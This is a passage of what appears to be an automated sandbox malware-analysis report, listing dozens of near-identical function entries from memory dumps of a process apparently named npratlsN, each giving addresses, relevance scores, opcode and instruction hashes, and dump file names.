                                                                                                                                                          • Opcode Fuzzy Hash: 16c5faf5a5fb5e9f3afbef4925f35c49d5d443f1775e40e156fbc266a7caabea
                                                                                                                                                          • Instruction Fuzzy Hash: F1D1AE74E00218CFDB14DFA5C994B9DBBB2BF89304F2091A9D409AB3A4DB359E85CF54
                                                                                                                                                          Function 2F709260 Relevance: 1.5, Strings: 1, Instructions: 292COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 44ce7a403303637eea2a1f06c5317902485c36e70c6ed9507b32f775c3223b2d
                                                                                                                                                          • Instruction ID: 45d89d8de6dad70262d7548482d7a5e1b1dafa0c10c731f99fb809499cc69cc5
                                                                                                                                                          • Opcode Fuzzy Hash: 44ce7a403303637eea2a1f06c5317902485c36e70c6ed9507b32f775c3223b2d
                                                                                                                                                          • Instruction Fuzzy Hash: 5CD1AC74E00218CFDB14DFA5C994B9DBBB2BF89304F2081A9D409AB3A4DB359E85CF54
                                                                                                                                                          Function 2F70BD68 Relevance: 1.5, Strings: 1, Instructions: 292COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 9f341ff1a2229ea815850e7692897bc4799a92fbc6b439cff8e2bcc2e8c1b934
                                                                                                                                                          • Instruction ID: 24534830c9ca6c5582500805ee88ed1370a120358d626b57491b0b09d36b7d4b
                                                                                                                                                          • Opcode Fuzzy Hash: 9f341ff1a2229ea815850e7692897bc4799a92fbc6b439cff8e2bcc2e8c1b934
                                                                                                                                                          • Instruction Fuzzy Hash: 9CD19C74E00218CFDB54DFA5C994B9DBBB2BF89304F2081A9D409AB3A4DB359E85CF54
                                                                                                                                                          Function 2F70D550 Relevance: 1.5, Strings: 1, Instructions: 292COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 5c6be0e9bd22778ccbcb053dc50f94491cce287d3a615772a7c312e8aa93091d
                                                                                                                                                          • Instruction ID: 8f32430238586549389147730796ea9190fef792a3f02a52d22bb6444f479f2e
                                                                                                                                                          • Opcode Fuzzy Hash: 5c6be0e9bd22778ccbcb053dc50f94491cce287d3a615772a7c312e8aa93091d
                                                                                                                                                          • Instruction Fuzzy Hash: 9CD19C74E00318CFDB14DFA5C994B9DBBB2BF89304F2091A9D409AB3A4DB359A85CF54
                                                                                                                                                          Function 2F706758 Relevance: 1.5, Strings: 1, Instructions: 292COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: c318bcc2f4a27ee51b8ef829009f797f6b0df8c3151cc93bc9e54a91db1a3dbc
                                                                                                                                                          • Instruction ID: 9b4802444e0bb1a12d03b3bc399ec70e16804a8d17bc9dc828c034f9ced4792b
                                                                                                                                                          • Opcode Fuzzy Hash: c318bcc2f4a27ee51b8ef829009f797f6b0df8c3151cc93bc9e54a91db1a3dbc
                                                                                                                                                          • Instruction Fuzzy Hash: 63D1AF74E00228CFDB14DFA5C994B9DBBB2BF89304F2091A9D409AB364DB359E85CF54
                                                                                                                                                          Function 2F707F40 Relevance: 1.5, Strings: 1, Instructions: 292COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 539b912194b1e335153bdd28d0a919cd9f1e8fe1b8444444d833a2d068531499
                                                                                                                                                          • Instruction ID: 2ae741af5e2890cbe81d139ea4f403920776b1d7d7628a553f1dbd2b904fa936
                                                                                                                                                          • Opcode Fuzzy Hash: 539b912194b1e335153bdd28d0a919cd9f1e8fe1b8444444d833a2d068531499
                                                                                                                                                          • Instruction Fuzzy Hash: 22D19C74E00318CFDB14DFA5C994B9DBBB2BF89304F2091A9D409AB3A4DB359A85CF54
                                                                                                                                                          Function 2F70AA48 Relevance: 1.5, Strings: 1, Instructions: 292COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 32bdde45de218e894df31d9e889d0a2e5e8e6e8d76032e97414d35597bd41a44
                                                                                                                                                          • Instruction ID: a5b2f6c1c3b1dc0df7403fddcfd3c7fcf37a66e23f1b8ea7b87d3adf9c2d141d
                                                                                                                                                          • Opcode Fuzzy Hash: 32bdde45de218e894df31d9e889d0a2e5e8e6e8d76032e97414d35597bd41a44
                                                                                                                                                          • Instruction Fuzzy Hash: 8CD19C74E00218CFDB14DFA5C994B9DBBB2BF89304F2081A9D409AB3A4DB359E85CF54
                                                                                                                                                          Function 2F70C230 Relevance: 1.5, Strings: 1, Instructions: 292COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 8c7a3ab3a3ea3fa04a95eb2c74834b8a9d8c0a91b67bb69e2e06766a5b6ffa99
                                                                                                                                                          • Instruction ID: 6f758578ee6ba70d6fa5aefcf58c48982de33e2f73ab9b28289087e90dbcb913
                                                                                                                                                          • Opcode Fuzzy Hash: 8c7a3ab3a3ea3fa04a95eb2c74834b8a9d8c0a91b67bb69e2e06766a5b6ffa99
                                                                                                                                                          • Instruction Fuzzy Hash: 76D1AC74E00218CFDB14DFA5C994B9DBBB2BF89304F2091A9D409AB3A4DB359E85CF54
                                                                                                                                                          Function 2F704478 Relevance: 1.5, Strings: 1, Instructions: 272COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 34006204abbdf42c0d6e85ff5992f4aee5f7779b6c07d8b7ea1c563de422cdfc
                                                                                                                                                          • Instruction ID: 9582d74a133cd675020883b0931386aaf7467bfa386fa3f3af1f3d6d16581b14
                                                                                                                                                          • Opcode Fuzzy Hash: 34006204abbdf42c0d6e85ff5992f4aee5f7779b6c07d8b7ea1c563de422cdfc
                                                                                                                                                          • Instruction Fuzzy Hash: 57D19E74E00218CFDB54DFA5C994B9DBBB2EF89300F2080A9D808AB364DB759D85CF55
                                                                                                                                                          Function 2F701B68 Relevance: 1.5, Strings: 1, Instructions: 272COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 7180fc1584fc21c91d02deab5ffce7f4ba7fb9fdd0a1725f54df7e054b6fccef
                                                                                                                                                          • Instruction ID: 27c1cd1136a04fe708fd90769f5cff7f3aadebf646ff19154033eb0df24e7426
                                                                                                                                                          • Opcode Fuzzy Hash: 7180fc1584fc21c91d02deab5ffce7f4ba7fb9fdd0a1725f54df7e054b6fccef
                                                                                                                                                          • Instruction Fuzzy Hash: 36D19F74E00218CFDB54DFA5C994B9DBBB2FF89300F2080A9D808AB354DB759985CF55
                                                                                                                                                          Function 2F703B58 Relevance: 1.5, Strings: 1, Instructions: 272COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 1bc513035ef6956fe8a458c603b89fe256e0b386b3d4b1ea277da573e3a92493
                                                                                                                                                          • Instruction ID: 5a279a3bbf4624494585fcb4955a298952ab8d2a9720d8bf0d13af34057d3352
                                                                                                                                                          • Opcode Fuzzy Hash: 1bc513035ef6956fe8a458c603b89fe256e0b386b3d4b1ea277da573e3a92493
                                                                                                                                                          • Instruction Fuzzy Hash: 53D1AE74E00218CFDB54DFA9C984B9DBBB2EF89300F2081A9D808AB364DB756985CF55
                                                                                                                                                          Function 2F700040 Relevance: 1.5, Strings: 1, Instructions: 272COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: b7474ae99cf267168a084417238163d51c4e6137baaba230524b1d26855f6642
                                                                                                                                                          • Instruction ID: 8b4e73c71cc14c3817da092efd132a88c792378f38d8d7aaa9ae98e3beac4230
                                                                                                                                                          • Opcode Fuzzy Hash: b7474ae99cf267168a084417238163d51c4e6137baaba230524b1d26855f6642
                                                                                                                                                          • Instruction Fuzzy Hash: 26D19E74E00218CFDB54DFA5C994B9DBBB2FF89300F2080A9D808AB365DB759985CF55
                                                                                                                                                          Function 2F701248 Relevance: 1.5, Strings: 1, Instructions: 272COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 220df8ffe7abb608f586368b1f7fd836d3de2c3c50e18ad22ac327c1e29fff98
                                                                                                                                                          • Instruction ID: 5f3cd7f6eb8a1000bc4878cd556e79c85ca7b6c72b4379063068404def04d56f
                                                                                                                                                          • Opcode Fuzzy Hash: 220df8ffe7abb608f586368b1f7fd836d3de2c3c50e18ad22ac327c1e29fff98
                                                                                                                                                          • Instruction Fuzzy Hash: B6D19E74E00218CFDB54DFA5C994B9DBBB2FF89300F2081A9D808AB3A4DB759985CF55
                                                                                                                                                          Function 2F68CB38 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 5dc55821adb51aa79107b1d25b67c48bdb6e139d96b85312c3282c1b55864954
                                                                                                                                                          • Instruction ID: cb6157db7017a3becd0c4d3f6c7a86cd00234e986a00056491cccd05bff23873
                                                                                                                                                          • Opcode Fuzzy Hash: 5dc55821adb51aa79107b1d25b67c48bdb6e139d96b85312c3282c1b55864954
                                                                                                                                                          • Instruction Fuzzy Hash: F4C1BD74E01218CFDB14DFA5C984B9DBBB2FF89304F2081A9D809AB365DB759A85CF50
                                                                                                                                                          Function 2F68FB00 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: c0ce4a6bae23a0ae8020e96cb3d184c6364be0b00883b32596586a3026407d2d
                                                                                                                                                          • Instruction ID: 27c7f7f75247186b04eb9f7dae15b9df7c534fbb94a30717acbba23b21883f53
                                                                                                                                                          • Opcode Fuzzy Hash: c0ce4a6bae23a0ae8020e96cb3d184c6364be0b00883b32596586a3026407d2d
                                                                                                                                                          • Instruction Fuzzy Hash: 8EC1AD74E00218CFDB54DFA5C984B9DBBB2FF89304F2081A9D809AB365DB759A85CF50
                                                                                                                                                          Function 2F68D3E8 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: bb0043c4c6376c9aa46001de5027343e5586fca686ba8488d37c1af7f0793353
                                                                                                                                                          • Instruction ID: 6f7e9e197d6e7cb67a03f5dd195f9d3fc3f07b0250b2b5c788085e7ba0b57497
                                                                                                                                                          • Opcode Fuzzy Hash: bb0043c4c6376c9aa46001de5027343e5586fca686ba8488d37c1af7f0793353
                                                                                                                                                          • Instruction Fuzzy Hash: 5AC1AE74E00218CFDB14DFA5C984B9DBBB2EF89304F2081A9D809AB365DB759E85CF50
                                                                                                                                                          Function 2F68CF90 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: bde3a595be71e71067637f8e9271449a318b7910a83fe0b9fdb70050059edd41
                                                                                                                                                          • Instruction ID: 7c21d9aaa624b1bea21d15042c9f652dda6632abe3f03546545221164c621ee1
                                                                                                                                                          • Opcode Fuzzy Hash: bde3a595be71e71067637f8e9271449a318b7910a83fe0b9fdb70050059edd41
                                                                                                                                                          • Instruction Fuzzy Hash: 2FC1AD74E00218CFDB14DFA5C994B9DBBB2EF89304F2081A9D809AB365DB759E85CF50
                                                                                                                                                          Function 2F68F250 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: fea658cf25a70ed82a114bc7f05a7d91af7c193809a33a2f88b1cde196c6547e
                                                                                                                                                          • Instruction ID: 40f421a3bf59316a99a32daef13ddce416541d6c7a1c765c583b1b351f78f327
                                                                                                                                                          • Opcode Fuzzy Hash: fea658cf25a70ed82a114bc7f05a7d91af7c193809a33a2f88b1cde196c6547e
                                                                                                                                                          • Instruction Fuzzy Hash: D3C1AF74E00218CFDB14DFA5C994B9DBBB2FF89304F2081A9D809AB365DB759A85CF50
                                                                                                                                                          Function 2F68BE30 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 16026ac82f21f336d66effd0367a100bf6566f7aaeea0981625bb76fdcab5042
                                                                                                                                                          • Instruction ID: 39720cefe6fe753cb40fcf1640c947510c7979022ba607673004a27c462c3d17
                                                                                                                                                          • Opcode Fuzzy Hash: 16026ac82f21f336d66effd0367a100bf6566f7aaeea0981625bb76fdcab5042
                                                                                                                                                          • Instruction Fuzzy Hash: 92C1BE74E00218CFDB14DFA5C994B9DBBB2FF89304F2080A9D809AB365DB759A85CF10
                                                                                                                                                          Function 2F68C6E0 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 6b72820eeefaeef512c7264357a9bf2afc798655d1126759e1e14369d0a0bed2
                                                                                                                                                          • Instruction ID: 807ae4ef8daaa1fefaf11f6001489ab4fc003f6affa9f0953fdf2ddff3aedc33
                                                                                                                                                          • Opcode Fuzzy Hash: 6b72820eeefaeef512c7264357a9bf2afc798655d1126759e1e14369d0a0bed2
                                                                                                                                                          • Instruction Fuzzy Hash: 11C1BC74E01218CFDB14DFA5C984B9DBBB2FF89304F2081A9D809AB365DB759A85CF50
                                                                                                                                                          Function 2F68F6A8 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 9104ceaf0c255f45944944a397047c87eb9ce17bbcc1b3009abe9005c9930649
                                                                                                                                                          • Instruction ID: e696a83532e54c017edcf75aa0d99b6a14724841b69c65e3e73be6bcc4a1fb2b
                                                                                                                                                          • Opcode Fuzzy Hash: 9104ceaf0c255f45944944a397047c87eb9ce17bbcc1b3009abe9005c9930649
                                                                                                                                                          • Instruction Fuzzy Hash: 4EC1AE74E00218CFDB54DFA5C984B9DBBB2EF89304F2081A9D809AB365DB759E85CF50
                                                                                                                                                          Function 2F68C288 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 742b589b56606709337188de6768928af9100b7a41b984284ee837a34e3a4ca4
                                                                                                                                                          • Instruction ID: 1ceb8183d29c50c8f8983476fa255b13d260dc6095d89782b7220cd1f939f37e
                                                                                                                                                          • Opcode Fuzzy Hash: 742b589b56606709337188de6768928af9100b7a41b984284ee837a34e3a4ca4
                                                                                                                                                          • Instruction Fuzzy Hash: BAC1BD74E01218CFDB14DFA5C984B9DBBB2FF89304F2081A9D809AB365DB759A85CF10
                                                                                                                                                          Function 2F68E548 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 14683c694563991e58f81c17ec8067ed50fe7d70b74e1d0ba98a429b9e9c2d73
                                                                                                                                                          • Instruction ID: 0d69c07ad4cc1412645022731fd08f3192fbff8c4e73d36a28981258c3f93cf3
                                                                                                                                                          • Opcode Fuzzy Hash: 14683c694563991e58f81c17ec8067ed50fe7d70b74e1d0ba98a429b9e9c2d73
                                                                                                                                                          • Instruction Fuzzy Hash: 85C1AD74E00218CFDB54DFA5C994B9DBBB2FF89304F2081A9D809AB365DB759A85CF10
                                                                                                                                                          Function 2F68EDF8 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 084204b39dcc6deaac8b6b4538f9be2f5f2d30822c751800eed9f534d1188901
                                                                                                                                                          • Instruction ID: a31f98a6cba5250901898634ca6f724099e97d7008c454922f3272726859f619
                                                                                                                                                          • Opcode Fuzzy Hash: 084204b39dcc6deaac8b6b4538f9be2f5f2d30822c751800eed9f534d1188901
                                                                                                                                                          • Instruction Fuzzy Hash: 97C1BD74E00218CFDB14DFA5C994B9DBBB2EF89304F2080A9D809AB365DB759E85CF10
                                                                                                                                                          Function 2F68B9D8 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: cb86b1d4c84f6b63f1e3a86fad39bb1b659d32a13deebefd3394f9e782ac8cc2
                                                                                                                                                          • Instruction ID: 13ecc567de7ba839880fca0ee9ede0c5ed1c518dc96b2702780feef182e2c51e
                                                                                                                                                          • Opcode Fuzzy Hash: cb86b1d4c84f6b63f1e3a86fad39bb1b659d32a13deebefd3394f9e782ac8cc2
                                                                                                                                                          • Instruction Fuzzy Hash: 00C1AF74E00218CFDB14DFA5C994B9DBBB2EF89304F2081A9D809AB365DB759A85CF50
                                                                                                                                                          Function 2F68E9A0 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: c73cfe7f62fc37a4b9d81271ab17a2e2a47206b06f95e80819dbd96dc088222d
                                                                                                                                                          • Instruction ID: cb9428013a2f65f7761e3b47494b5327f720f53eb47c2b434ee9e7adab09757f
                                                                                                                                                          • Opcode Fuzzy Hash: c73cfe7f62fc37a4b9d81271ab17a2e2a47206b06f95e80819dbd96dc088222d
                                                                                                                                                          • Instruction Fuzzy Hash: ADC1BD74E00218CFDB54DFA5C984B9DBBB2FF89304F2081A9D809AB365DB759A85CF50
                                                                                                                                                          Function 2F68D840 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
